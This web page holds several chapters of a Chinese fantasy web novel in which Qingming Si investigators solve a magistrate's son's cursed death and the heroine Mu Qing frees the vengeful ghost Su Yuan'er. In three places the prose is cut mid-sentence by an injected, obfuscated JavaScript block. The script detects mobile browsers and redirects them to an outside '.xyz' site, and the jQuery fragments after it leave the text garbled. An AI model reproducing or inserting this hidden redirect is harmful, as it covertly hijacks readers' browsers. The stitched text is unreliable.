几个衙役定睛一看,愣了一下,讪讪地让开:“当然,我们大人等诸位许久了。”
外面闹腾这么半天,衙役中有机灵的,已经跑去通报巷子里的官员了。
知府王守仁痛失爱子,脸色十分难看:“什么人在外面闹事?”
“好……好像是清明司的人。”
王守仁的脸色顿时变得一阵青一阵白,“无心?”
月悬走近,刚好听到这一句,也不气恼,礼貌又冷淡地打招呼。
“王大人,无心身有要务,恐怕暂时不能赶来了。”
11. 第 11 章
王守仁转过头,先是疑惑,随即看到钟武推着的轮椅,脸上露出诧异之色。
“您是……”
“在下清明司命使,月悬。”
他说着“在下”,却站得身姿笔挺,丝毫没有见礼的意思。
王守仁脸色又是一变,连忙拱手。
“原来是世子爷,离京多年,不知眷王他老人家一切可好?“
月悬不答:“公务在身,不拘这些虚礼,大人以职务称呼即可。“
王守仁从善如流地转移了话题,眼角出现泪珠。
“少司长亲自拨冗前来,本该好生招待,只是小儿之事让下官实在提不起心力,好在有清明司协助,定能查出凶手,让小儿得以安息。”
月悬摇了摇头:“王大人,令公子一案由清明司接手,一应卷宗都需封存转交,稍后我会安排人协助你完成交接工作。”
王守仁眉头皱起:“……您的意思是?”
钟武上前做了个请的手势。
“大人请回府休息片刻,这里有清明司接手,定会还王公子一个公道。“
王守仁脸色变得不太好看:“少司长,你的意思是我儿子的案件我不仅不能插手,旁观也不行?”
“清明司的规矩向来如此。”
月悬微垂着眉目,不知是热的还是怎么,额间似乎有着点点汗渍。
“大人爱子之心可以理解,只是……看多了,于你并没有什么好处。”
钟武的态度更强硬了些,再次拿出清明令:“此令上刻有圣谕,清明司办案,任何人不得加以干扰阻拦,大人当知道轻重。“
王守仁与他们僵持片刻,只能带着人甩袖离去。
钟武在后面喊着补充了一句:“大人!巷子口的人不能撤,换几个稳重点的维持一下秩序!”
王守仁回头,脸色发黑,鼻孔里喷出一股气,到底什么也没说。
待府衙的人走远,钟武将轮椅推至月悬身边,低声道:
“公子,只怕还要在这儿耽搁一些时间,您先坐会儿吧。”
月悬沉默片刻,转身的时候似乎晃了一下,钟武正要去扶,他已经自己撑住轮椅,稳稳坐下了。
钟武正要安排众人查看现场情况,就听月悬突然说了一句。
“树上的那个,下来吧。”
钟武:“?”
他循着月悬的目光看去,就见旁边高墙上露出的树枝晃了晃,很快又没了动静。
月悬冲他使了个眼色。
钟武立即动身,在墙上蹬了几下借力,轻而易举地翻上墙头,看到一张蒙着面纱的脸,劈手就要抓人。
“等、等一下,是我……”
“慕情姑娘?”
慕情险些跟钟武来了个面贴面,连忙后退了些,扯下遮脸的白纱,不好意思地挥了挥手。
“早啊,这么巧?”
钟武:“早……下去吧。”
慕情蔫头耷脑地跟在他后面,跳下墙头。
她待的这个地方其实非常隐蔽,一侧有屋檐遮掩,前方是茂密的树叶,下面树枝稀疏的地方又被院墙遮住了。
而且位置很高,视野广阔,能把整个巷子尽收眼底。
刚才巷子口传来动静,月悬一出手她就认出来了,之后一直在树上没敢动弹,也不知道他怎么发现的……
月悬问她:“你怎么在这儿?”
慕情无辜眨眼:“我听说这里有邪祟杀人嘛……就来看看。”
月悬又问:“谢三呢?”
慕情扣手指:“他在家里吧……”
也不知道他有没有发现,她已经不在房里了。
月悬看她一眼,没有再说什么,转动轮椅朝那具尸体走去。
慕情拦了他一下:“这里……阴气很重,你别靠太近了。”
钟武很有眼色,立即道:“公子您在这儿歇会儿,交给我们就行。”
月悬没有继续坚持,看着钟武跟其他人勘察现场。
这里仍然维持着案发时的样子,或许是人死得太过蹊跷,加上死状可怖,不好处理,府衙的人没敢动手,只在尸体四周围上了一块黑布。
钟武让人将黑布撤了。
尸体是整个站着塌下去的,整体不到一尺高,顶上是一堆凌乱黑发,衣物里夹杂着碎肉,散发着难闻的气味。
整体已看不出人形,外貌特征模糊,只依稀可见绸缎绫罗、宝石玉冠,生前应是个非富即贵的公子哥儿。
月悬远远观察着那些衣物,突然皱了皱眉,问慕情:“此人你认识吗?”
慕情点点头:“看衣着打扮,应该是之前被我打伤的那个人。”
那个修炼鬼术的年轻男子。
之前跟无心说起时,她详细描述过此人衣着外貌,月悬能认出来倒也不奇怪。
仔细查验周围后,钟武回来向月悬汇报。
“被害者死状可怖,确实不像人为,但……尸体已没有几处完整,看不出因何致死。周围也没有残留什么特别的痕迹,只在他衣袖上发现有一些白色结晶,衣摆处还沾了不少泥沙,应是从海边走来。不过,这边海岸线极长,不知具体是在哪一片。”
月悬不语,控制轮椅向前。
钟武有些担忧:“公子……”
“没事。”月悬绕开他,来到尸体周围转了一圈,目光仔细扫过,忽而说道:“是无名湾。他从无名湾离开后,就没换过衣服。”
这很奇怪。
距离慕情将此人重伤昏迷,算起来已经过了好几天的时间。
王高义是个锦衣玉食的公子哥,又不知从哪儿学了些鬼术,必然有些自高自傲。
他被困幻境,尚且将自己打理得井井有条,好不容易逃出来,怎么会衣服都不换洗一下?
钟武表情困惑:“您怎么看出来的?”
月悬弯下腰,从尸体衣角处拈起一块米粒大小的碎片。
“这是白玉珊瑚的碎片,竭临港这一片,只有无名湾有。”
“奇了,这白玉珊瑚,之前只听五爷信中提起过一句,您也没亲眼见过,居然能认出来!”
月悬没说话。
在旁边听了半天的慕情挠了挠脸,转移了话题。
“这么久了,他难道是从无名湾一路走回来的?”
月悬:“中途应该发生了别的事情。他的死跟之前的案子没什么关系,而是恶鬼所为。他是死于一种鬼咒。”
钟武皱眉思索:“鬼咒……”
月悬问慕情:“你跟他交手时,他有几个鬼仆?”
一时没人回答。
钟武提醒:“慕情姑娘。”
“啊?”慕情回神,“哦,不多,就四个,还是新魂,没什么力量,我给放走了。”
“那基本可以排除鬼仆反噬。这个王高义是个纨绔子弟,素行不良,仔细查查他的人际关系,尤其是……有没有惹下什么情债。此事应当不难查,仔细一些。”
钟武:“是!”
“还有,跟王知府聊聊,试探一下他儿子跟鬼王教有没有什么接触”
月悬说着顿了一下,“……算了,此事我来。”
他转动轮椅往外走,慕情亦步亦趋地跟着。
“你……”月悬转向她。
慕情连忙发誓:“我就想跟着看看,绝对不会打扰你的!”
“你的伤……如何了?”他问道。
慕情有点委屈,又不愿让他担心,扁了扁嘴。
“没事,本来就只是小伤而已。”
“莫医师跟着商船上获救的那批人,现也在竭临港中,等他忙完会去给你诊脉。”
他的意思是让慕情回去等着。
“不,我都不难受了。”慕情摇头,故技重施,“而且这个案子,说不定我也能帮上什么忙呢。”
月悬看看那边忙碌的众人,确实没有多余的人手能送她回去了。
况且,看起来一般的人也难看得住她。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668825|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无奈道:“……随你吧。”
慕情笑了起来,到后面推着他:“你现在是要去府衙吗?这个叫王高义的,跟那什么……”
她回忆月悬之前说的话:“鬼王教?跟这个有关吗?”
看她实在好奇,又似乎总能知道些别人不知道的东西,月悬略作思索,将一些信息告诉了她。
“鬼王教是十多年前东海盛行的一种邪/教,认为死亡并非终点,而是通向更强大力量、更美好“永生”的门户。他们宣称,教众死后魂魄将受‘鬼王’庇佑,褪去凡躯,获得远超生前的能力与自在。因此,鬼王教在备受贫苦折磨的底层人群中快速流传开来,甚至有不少教众主动求死,在当时引起不小的轰动。”
月悬眼中露出回忆之色:“后来在朝廷围剿下,这个教派渐渐销声匿迹,已经很久没有出现过。我也只是看旧日卷宗时了解过一些。”
慕情努力回想,好像并没有搜寻到相关记忆。
“所以你怀疑,这个鬼王教卷土重来了?”
月悬道:“先去衙门问问再说。”
两人一起来到衙门,月悬去跟那些官员周旋。
慕情履行承诺,一点也不添乱。她将面纱重新戴上,紧紧跟在他身边,只听不插嘴。
再次见面,知府王守仁脸色更差,对待他们的态度也不怎么好。
对于他儿子欺男霸女的指控,更一律怒骂是谣言。
月悬待在京城,什么样的人都见过,趁着他怒火上头时,轻而易举地套出了他对儿子修炼鬼术一事,很可能并不知情,对于鬼王教更没什么消息。
他与王守仁周旋了一会儿,把卷宗拿到了手,顺便把无名湾和万岛礁的案子跟他们通了个气,当然不可能告诉他们实际案情,只是需要衙门协助处理一些善后工作。
王守仁一肚子憋屈没处撒,完事儿了还得扯着笑脸送他们出门。
慕情走出去老远,还听到他气得踹翻了屋里的凳子。
因为涉及到前来贸易的外商,月悬还去了一趟市舶司,顺带打探了一下鬼王教的消息,同样一无所获。
这样折腾一圈下来,也快接近中午了。
两人再次回到出事的巷子,老远就看到谢三也在。
距离慕情跑出来,已经过去一个多时辰,他能找到这里再正常不过了。
谢三也看到了他们,并没有追问慕情,上来就单膝下跪谢罪。
“属下失职,请大人责罚。”
慕情惭愧地低下头,拉了拉月悬的袖子。
“此事不怪他,是我耍了点小手段,偷偷跑掉的。”
月悬没有理她,对谢三道:“起来吧。先记下,回京后自去领罚。”
“是!”谢三没有任何辩解,起身给其他人帮忙去了。
谢三是个好人,慕情之前还受过他恩惠,实在不想因此害他受罚,围在月悬身边转来转去,几次欲言又止。
月悬一转身,轮子差点轧她脚背上,头疼地按了按额角。
“谢三失职是事实,能被你轻易跑掉说明能力不足,所谓惩罚只是督促他提升,并不会真的伤到他。”
听他这么说,慕情稍稍松了一口气,又开始得寸进尺:“那可以给他补点奖金吗?他还给我买了帷帽,属于公费支出吧?”
她指了指脸上的面纱,这是她自己从帷帽上剪下来的一截布料。
月悬实在不想与她争辩这到底属不属于公费支出,从袖中取出一小锭银子,隔空扔过去。
“谢三。”
谢□□应也快,听到声音,立即伸手接住了,然后愣了一下。
“大人这是……”
月悬冷着脸:“帷帽费用的报销。”
谢三想说这太多了,然后就看到慕情在月悬后面挤眉弄眼,疯狂给他使眼色。
谢三:“……”
不等他再说话,月悬已经转身去听别人汇报了。
想了想,他把银子收起来,冲慕情拱了拱手。
12. 第 12 章
清明司的办事效率向来很高。
不过一个上午的时间,王高义的过往行事,便已摊开在眼前。
月悬安静地翻看卷宗,眉头微微皱着。
这位知府公子,是个彻头彻尾的纨绔,仗着老爹王守仁是本地父母官,平日里游手好闲,横行无忌,整日在花街柳巷厮混,调戏良家妇女更是家常便饭。
他那时虽然荒唐,但多少还留了点“分寸”,没闹出过人命来。
最近一起比较特殊的事件,是几个月前,他曾强迫一名叫苏沅儿的良家女子,逼死其家人,最后将其囚禁折磨而死。
然而知府王守仁只手遮天,将这滔天血案压得悄无声息。
自此,王高义倒是收敛不少,行事低调了许多,可坊间关于苏家惨事的流言,一直存在。
月悬翻动着薄薄的纸页,若有所思。
看得出来,王高义以前确实是个不学无术的废物衙内。
认识他的人都说他没什么身手,锦衣玉食惯了,连习武的苦都吃不得。
那么他修炼鬼术,很可能就是这几个月内发生的事情。
月悬的目光快速扫过苏家三口的简略生平,最终定格在最下方那个地址上。
他对身边的清明使吩咐道:“此地的线索已清理完毕,你带人去苏家老宅,仔细搜查一遍。还有,查明苏沅儿尸骨的下落。动作小一些,注意不要打草惊蛇。”
“是。”
慕情站在月悬侧后方,目光同样掠过那些冰冷的文字。
苏沅儿,苏家独女,年二十五,早前曾招过婿,可惜夫君没两年就病死了。
卷宗里寥寥数语,勾勒出一个年轻貌美、开朗乐观、善良能干的姑娘。
还有,资料上写,她尤喜红色。
慕情眼眸微动。
“看完了?”月悬转过来看向她:“可有什么头绪?”
慕情摇头:“没有哦。”
月悬也不深究,继续说道:“接下来事务繁忙。谢三,先送她回去。莫医师也该到了。”
秋日正午的太阳毒辣,白晃晃地刺眼。
慕情仰头看天,眯了眯眼,这次倒没有坚持留下,乖顺地跟着谢三离开了。
回到小院,莫医师果然已经在等着她了。
他神情疲惫,显然这起案子连累他也忙得不轻,匆忙给她诊了脉,调整了一下药方,又很快离开了。
慕情毕竟还是病人,奔波了半天也觉得疲累了,吃过午饭便回屋休息。
一直到夜色渐深,大部分人都已进入梦乡,四下俱静。
院中,谢三抱着刀在来回巡视。
慕情真的很佩服他旺盛的精力,趁着他转身时,轻手轻脚地打开一扇窗。
这扇窗她白日里特意调过,加了油润滑,保证一点声音都没有。
然后她运起轻功,像一阵无声的夜风,眨眼间就翻过院墙,隐匿在黑暗中。
月悬明知道谢三看不住她,还派他来,这不就是默许她“自便”么?
慕情飞快地穿梭在夜色里。
她总觉得,那个苏沅儿她可能见过。
鬼船幻境中,那个曾对她施以援手的红衣女鬼……
白日里阳气太盛,鬼物是不会出来的。
只有趁夜探访苏家老宅,说不定能赶在清明司之前,跟她见一面。
慕情在鳞次栉比的居民屋顶轻盈起落,艰难辨认着方向。
可巧的是,中途她看到了一队清明司的人马,看方向显然也是去苏家的。
他们一定在白天的时候发现了什么蛛丝马迹。
慕情心下一沉,预感到那个女鬼姐姐很可能真的在老宅之中。
她脚步愈发急切起来。
鬼船幻境中初遇时,那女鬼神志清醒,力量却并不算强。
若真是她杀了王高义,怨魂一旦沾染上血气,就很容易丧失神志,迷失本性,变成嗜血的恶鬼。
要是被清明司抓到,只有魂飞魄散一个下场。
算起来,她还欠这个姐姐一点人情呢。
慕情观察着那队清明使前进的方向,小心地隐匿身形,迎风而动,抄近路率先抵达苏宅。
苏家是做小生意的,家境倒还算殷实,但平民百姓终究敌不过权贵。一场无妄之灾,这么不明不白地死了,也无人敢替他们伸冤。
眼前这处宅院,比寻常人家略大一些,如今空置数月,院内已经荒草丛生。
断壁残垣在惨淡月光下,投出憧憧黑影,有些阴森渗人。
慕情在宅子深处找到了苏沅儿。
她依旧是初见时的那身红衣,只是那红,已经从沉郁的暗色,浸染成刺目的、怨毒的鲜红。
血气缠身,她神志混沌,凶戾之气暴涨。感应到生人气息,厉啸一声,便朝这边扑杀过来。
慕情早有防备,身形如影般极速闪动,避开她凌厉的爪风,反手扣住她冰冷刺骨的手腕。
“姐姐,是我。”
她将内力从手掌渡过去,低声安抚。
一股奇异的气息流入体内,如清泉洗涤而过,苏沅儿狂暴的动作猛地一滞,眼中猩红的戾气缓缓褪去,神志逐渐恢复了清明。
“咔嚓”
外面院子里传来动静,是脚步踩碎枯枝的声音,接着越来越快,越来越密集。
显然是清明司的人听到鬼啸,直接冲进来了。
慕情不再犹豫,一把拉住苏沅儿冰凉的手,用气声道:“跟我走。”
两道身影融入夜色,险之又险地避开了清明司的搜捕网,远离苏宅的院子,遁入一处远离人烟的僻静角落。
“还记得我吗?”慕情放开她,问道。
苏沅儿表情怔怔的,眼神里满是不可思议:“慕情姑娘?”
“是我。”慕情探头看看苏宅的方向,低声道,“时间紧急,来不及寒暄了,你是怎么回事,能告诉我吗?”
苏沅儿眼眶一红,泪盈于睫:“我……”
几句简短的交流,印证了他们的猜测。王高义之死,确实是苏沅儿亲手所为。
她含恨而死,怨气凝而不散,滞留人间,如影随形地跟着王高义,伺机报复。
奈何她力量微薄,那王高义又突然开始修炼邪异鬼术,气息变得危险,令她不得不更加谨慎,以至于迟迟找不到机会。
直到王高义不知得了什么消息,仓促出海,找到无名湾附近,被蜃气卷入那艘鬼船。
而秘密跟着王高义的苏沅儿,也一同陷入幻境之中。
船上空间很大,她小心翼翼地躲藏,只与一个小妹妹待在一起,从不出现在其他人面前,唯恐被王高义察觉。
后来慕情闯入,破了鬼船幻境,她才得以脱身。
巧的是,王高义居然与慕情发生了冲突,还被她打成重伤,虽然后来侥幸逃跑了,但实力大损。
复仇的时机终于降临,苏沅儿跟踪在他身后,趁机夺回被王高义抢走的家传之物,并在他身上种下致命鬼咒,使其一路走回竭临港,并最终在极致痛苦中暴毙而亡。
得知来龙去脉,慕情心中唯有沉重叹息。
可惜人死不能复生,她只能劝道:“尘缘已了,该归何处就归何处吧。不要在人间停留,更不要再伤及无辜。”
苏沅儿沉默片刻,突然下拜:“我已今非昨日,愿留下来追随姑娘左右,需要之时可为您效劳。”
慕情连忙摇头,把她扶起来:“不行的,你周身阴气太盛……”
她顿了顿,没提月悬的病根,“我身边……不能留你。”
而且要是让师门发现她身边带有只鬼,怕是要挨一顿训斥。
苏沅儿眼中光芒一黯,随即释然。她从怀中取出一物,递给慕情。
“这是我家传之物,有固魂之效……说起来惭愧,它的功效,我还是从王高义口中得知。那畜生觊觎我美色是假,谋夺宝物才是真。我的魂体能迅速强大,也是因为它。如今大仇得报,这东西于我也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668826|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么用处了,送给姑娘,算是聊表谢意。”
那是一颗墨玉珠子一样的东西,入手温润,慕情能清晰感受到其中蕴含着独特的能量。
这种固魂之物,确实不好放在苏沅儿身边。
有时候实力突然快速增长,并不是一件好事。
慕情郑重收下,又问道:“你跟在王高义身边这么久,他学习鬼术,你知道怎么回事吗?”
苏沅儿点了点头,又摇了摇头。
“他学习鬼术,是在遇见我之前。我只知道,他是在青楼鬼混时,结识了一个人,然后就开始接触这些。后来不知如何得知我家有此宝物。这才引来灭门之祸……”
“你后来见过那个人吗?”
苏沅儿摇头:“不曾见过。”
慕情叹气,看来只能从别处找线索了。
她看了看四周,说道:“不知道他们什么时候会追到这里,你先走吧,记住我说的话。”
苏沅儿盈盈一拜:“姑娘放心,我绝不会做害人之事。如今……我只盼望那包庇儿子的狗官王守仁,能得报应,就没有任何遗憾了。”
慕情笑了笑:“你也放心。清明司既已插手,就一定会让案情水落石出,涉案之人也必将得到惩罚。”
苏沅儿闻言,脸上终于绽开一个释然纯净的笑容,对她挥了挥手,转身离开,身影渐渐变得透明,消失在夜风之中。
慕情握着那枚温润的墨玉珠子,心头思绪翻涌,转身往回走。
谁知刚走出巷子口,就迎面撞上了扑空折返、面色紧绷的清明司众人。
双方大眼瞪小眼,气氛瞬间凝滞。
“慕情姑娘?”为首的清明使一脸惊愕,“你……你怎么在这儿?”
慕情手握着那固魂珠,攥在胸前,仰着脸,妥妥无辜的邻家少女。
“我?我……睡不着,出来透透气……”
然后,这位“睡不着出来透气”的姑娘,就被“请”回了清明司据点。
面对月悬那张山雨欲来的俊脸,慕情缩了缩脖子,怂得彻底,一五一十全招了。
从鬼船幻境里醒来时,得到红衣女鬼相助,察觉她的异常。到后来幻境破碎后,本想找她谈话,却被王高义突然暴起攻击而打断。等战斗结束时,已经找不到苏沅儿了。
还有今日看到卷宗时的猜测和不忍……一股脑地都说了。
月悬眉头紧锁,神色是罕见的严厉:“你可知放走一只沾染人命的恶鬼,祸患无穷?”
慕情连忙竖起三根手指,发誓:“苏沅儿已经恢复了神智,没有受到杀人后的血气影响。她只是报仇,不会伤害其他人。”
“你确定?”月悬神色凝重,“此事关系到竭临港百姓的安危,不可侥幸或儿戏。”
慕情点头,把苏沅儿告诉她的信息全都说了出来,但下意识地隐瞒了固魂珠在她手上的事情。
月悬听完仍然眉头紧锁。
“我保证,你相信我嘛。”慕情急了,下意识地伸手拉住他的手臂轻轻摇晃,声音软软的带着央求。
月悬身体瞬间一僵,猛地拂开她的手。动作虽快,耳根处却悄然漫上一抹可疑的红晕。
他别开脸,声音依旧冷硬,但终究是松了口:“……下不为例。回去歇着吧。”
说罢,不再看她,带着人匆匆离去。
慕情也被人送回小院休息。
一夜无话。
第二天早晨,天才蒙蒙亮。
慕情没在院子里看到谢三的影子,心道他终于熬不住睡觉去了,颇为窃喜。
她故技重施,蹑手蹑脚地打开窗子,轻盈地跃上围墙,刚想翻出去……
“‘小师妹’,去哪儿啊?”一个阴阳怪气、带着调侃的声音从身后响起。
慕情动作僵在半空,缓缓回头。
下方站着的,哪里还是谢三?赫然是一身黑衣的无心,正笑意吟吟地看着她。
慕情:“……无心师兄,你怎么回来了?”
13. 第 13 章
无心负手而立,收敛了笑意,朝墙头那抹身影招了招手,声音不高却带着不容置疑。
“下来。”
慕情缩了缩脖子,像只被揪住后颈的猫,怂怂地从墙头一跃而下,轻盈落地。
“说吧。”无心好整以暇地看着她,“你干什么坏事儿了?万岛礁那边刚收尾,大师兄一封急信就把我召到这儿来了,想也知道跟你脱不了干系。”
“我……我也没干什么呀……”慕情小声嘟囔,老老实实地把这两天的行动轨迹复述了一遍,声音飘忽,透着点心虚。
无心一脸“我就知道你不老实”的表情,继续问道:“那刚才呢,翻墙出去,又打算去哪儿?”
慕情挠了挠脸,眼神飘向别处。
“就……就想去看看他们查案查得怎么样了嘛。”
其实,是她昨晚摸清了清明司在竭临港的临时据点,想溜出去看看月悬。他昨天晚上肯定忙到很晚,说不定一夜没睡。
无心像是看破了她的那点小心思,唇角勾起一丝揶揄的弧度。
“省省吧,大师兄这会儿,怕是已经动身离开竭临港了。”
他顿了顿,迎着慕情骤然失落的眼神,继续道:“王高义案和无名湾、万岛礁的案子,只剩下收尾工作,接下来都由我接手。以后想知道什么,你直接问我就是了。”
王高义一案已经没有什么悬念,剩下的不过是搜集王守仁父子更详尽的罪证,整理成卷递送京城。虽然流程繁琐,却无甚风险。
现在又有无心在此坐镇,月悬离开,确实很有可能。
慕情心头一紧,脱口问道:“那他去哪儿?”
无心见她着急,眼底掠过一丝促狭,故意卖关子:“这……我可就不清楚了。”
慕情绷着脸,眼神控诉地瞪着他。
无心这才慢悠悠地笑道:“好吧,不逗你了。他去追查鬼王教了。此事牵连甚广,颇为复杂,一时半会儿怕是难有定论,还有的来查。所以,他具体去什么地方……”
他摊了摊手:“我还真说不准。”
无心心里门儿清,大师兄走得这么急,查案固然是主因,但未必没有躲开眼前这位慕情姑娘的意思。
要知道,这本该是他的差事。大师兄大可以稳稳当当地完成这几个案子的收尾,然后回京城去,把追查鬼王教这桩苦差扔给他就是,哪儿用得着自己奔波劳累。
结果呢,大师兄与他匆匆交换了情报,竟然主动揽下这苦差事,然后把这烫手山芋般的丫头扔给他善后,自己跑得比谁都快。
慕情有些失落,下意识环顾小院。果然,连谢三业不见了影子,想来也是跟着月悬走了。
无心拉着她在院中的石凳坐下,话锋一转,问出了盘旋心头许久的疑问:
“你的轻功……是谁教的?”
那身法“流云纵”,算是他们的门派绝学,外人绝无可能习得。
慕情随口答道:“大师兄教的呀。”
无心追问:“哪个大师兄?”
慕情丢给他一个“明知故问”的白眼:“月悬。”
这下轮到无心挠头了,这“流云纵”练成这样,可不是一朝一夕之功,如果真是大师兄教的,这姑娘应该小时候就跟他们见过了才对。
四下无人,大师兄又远在天边,无心按捺不住强烈的好奇心,压低声音问道:
“那你觉得……你和我大师兄,是什么关系?”
慕情沉默了,微微垂下眼睫,片刻后抬起头,轻声道:“他是我的未婚夫。”
饶是做了些心理建设,无心还是被这石破天惊的答案,震得倒抽一口凉气。
“你们……还定亲了?”
这更不可能了,大师兄定亲,他怎么可能毫不知情?
慕情迟疑了一下,点了点头:“应该是……定了吧。”
语气里带着一丝自己也说不清的迷惘。
无心想起桃花幻境中,那些旖旎又破碎的画面,试探着问道:“你们是不是闹别扭了?”
看那幻境里的氛围,甚至感觉有几分快要分手的意味。
慕情惊讶地眨了眨眼:“你怎么知道我们吵架?”
不是都说不认识她吗?
无心笑:“你还真不记得了啊?那天你被蜃气困住,陷入幻境中,里面全是你和大师兄相处的场景。不仅我看见了,大师兄也看见了。幻境破裂之前,你还看了我们一眼。”
慕情努力回想,脑海中却只有一片模糊的光影。
她只记得从鬼船幻境脱身后,又坠入另一个迷梦中,浑浑噩噩数日,直到无心他们出现。
这样看来,或许是因为幻境中的景象与她心底关于月悬的记忆碎片重叠、混淆,才让她醒来后完全遗忘了幻境里发生了什么。
慕情摇了摇头,驱散脑中纷乱的思绪。
“我们不吵架的。”
月悬是非常温柔的恋人,对她有求必应,他们吵不起来。
无心看着眼前记忆混乱的少女,明智地选择了闭嘴。
今天这番话算是白问了,没一句能对上。更棘手的事,他之前派去查慕情底细的人,竟然也没有一点收获。
现在只能等着京城的回信,看看师父那边怎么说。
他站起身,拂了拂衣摆:“接下来我还有事,你是想留在这儿休息,还是跟着我?”
没了偷偷溜走的目标,慕情突然觉得索然无味,反正案情真相已经明了,她对后续那些繁琐的取证和文书流程提不起半点兴趣。
“我在这儿歇着吧。”她蔫蔫地应道。
无心半真半假地警告了一句:“老实待着,别再添乱了。”
得到慕情点头保证,这才转身离去。
无心走后不久,莫医师也忙完了,专门赶回小院守着她。
慕情虽然表面看着活蹦乱跳,但身体里毛病不少,隐患重重。
莫医师板着脸,严格看管她,盯着她按时服药,规律作息,恨不得让她一天十二个时辰都躺在床上休养。
一连几天,慕情都安分地待在院子里,活动范围仅限于檐下窗前,最多在院中那棵树下发发呆,看着日影西斜。
无心也忙得脚不沾地,堆积如山的案卷需要整理,知府王守仁更是三天两头派人前来打探消息,言语间充满试探与焦虑。
无心一概以“案情复杂,尚无定论”搪塞过去,暗地里,已经将罗列王守仁父子累累罪行的诉状与铁证快马加鞭送往京城。
不查不知道,这王高义是个纨绔,王守仁更不是个东西。这对父子手上沾染的血债不止苏沅儿一家,细查下去,足够王守仁掉脑袋了。
饶是再忙,无心每日也会抽空来小院看上一眼。
每次来,总见慕情趴在窗台上,或抱膝坐在台阶上,整日整日地发呆。
这日,冗杂的公务终于告一段落。无心得了清闲,踱步来到慕情住着的小院,看到她独自一人蹲在院中,小心翼翼地拨弄着一只搬运碎屑的小蚂蚁,神情专注又带着点孩子气的天真。
看着还怪可怜的。
无心想了想,从怀中取出一个物件,递到她面前。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668827|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那是一枚小巧玲珑的海螺。
“喏,拿着。”
慕情疑惑地抬头。
“东海特有的小玩意儿,叫留音螺。”无心解释道,指尖在螺壳上轻轻一点,“借着这种海螺特有的结构,结合一些小法术,能存下声音。”
他将留音螺放在慕情掌心,声音压低了些,带着点做贼似的怂意。
“这里面……是那天你昏迷时,为了唤醒你,大师兄……哄你的声音。我那时正好带着它,就偷偷录下来了。”
他飞快地补充:“你悄悄听就行!要是别大师兄发现,可千万别说是我给的!”
慕情微微一怔,又感动又想笑,心道这还用她说吗?要真被发现,月悬都不用动脑子,就能知道是他干的。
她轻轻摩挲着留音螺的表壳,触感细腻温润。
她隐约还记得那天的事情,记得那个低沉熟悉的嗓音,带着有些生涩的、笨拙的温柔,一遍遍在耳边轻唤……
心口像是被什么东西轻轻撞了一下,泛起细密的涟漪。
那语气与记忆里的有些相像,又不太一样。
她没有立刻去听,只是找来一根结实的红绳,将留音螺串起,贴身戴在颈间。
冰凉的螺壳贴着温热的皮肤,像是一个无声的秘密。
又过了两日,所有案件的卷宗都已封存归档,无心来到慕情住的小院,整个人轻松了些。
“好了,后面的事儿有别人接手,不用我操心了。”他看向慕情,笑道,“之前说过,你协助办案有功,可以提个要求。说吧,想要什么奖励?”
慕情偏着头,认真想了想,然后摇头:“还没想好……能先留着,以后再兑现吗?”
无心失笑:“还要等以后啊,你这打算赖上我们了?”
话音刚落,院门外匆匆走进一名清明使,神色恭敬地行礼禀报:
“无心大人,京城的回信到了!”
无心精神一振:“呈上来。”
一张薄薄的信笺被恭敬递上。
无心迅速展开,目光扫过纸上墨迹,片刻后收起,若有所思。
慕情在一旁安静看着,见他神色有异,不禁问道:“师兄,怎么了?是王府有什么事吗?”
“没什么,我有点事要处理,得先走了。”无心正欲离开,忽然又转身,笑得狡黠,“对了,有个姐姐要来看你,估计这两天就到。你可以期待一下,到时候估计就不会无聊了。”
慕情眨眨眼,好奇追问:“哪个姐姐?”
无心却卖起了关子,只笑了一会儿就带人走了。
次日中午,慕情正在屋里发呆,突然听到院外传来清脆马蹄声和女子利落的谈笑声。
她推门而出,就看到院中多了几道飒爽的身影,都是身着黑色劲装、英姿勃发的女清明使。
为首的女子约莫二十七、八岁,身姿高挑,弯眉凤眼,嘴角微微上扬着,有些慵懒。一头长发盘起,用几根雕工古朴雅致的木簪固定,细碎的发丝垂落在脸颊两侧,顾盼间有着妩媚风情。
她身上的黑色劲装剪裁合体,腰带与袖口处用红色丝线绣着精致的花纹,手里还握着根马鞭,身上略有风尘,显然是一路骑马疾驰而来。
看到慕情,她眼睛一亮,饶有兴致地走过来,满脸新奇与探究,最后化成一声带着笑意的轻叹。
“啧,你就是我们那个突然冒出来的‘小师妹’?这小模样长得……真真是让人心疼。”
……又是一个不认识她的。
慕情无奈:“三师姐……”
14. 第 14 章
来人正是清明司“月、风、花、雪、星”五命使中,排行第三的花使——海棠,本名花若离。
她原本远在乐州办案,与竭临港相隔数日路程。
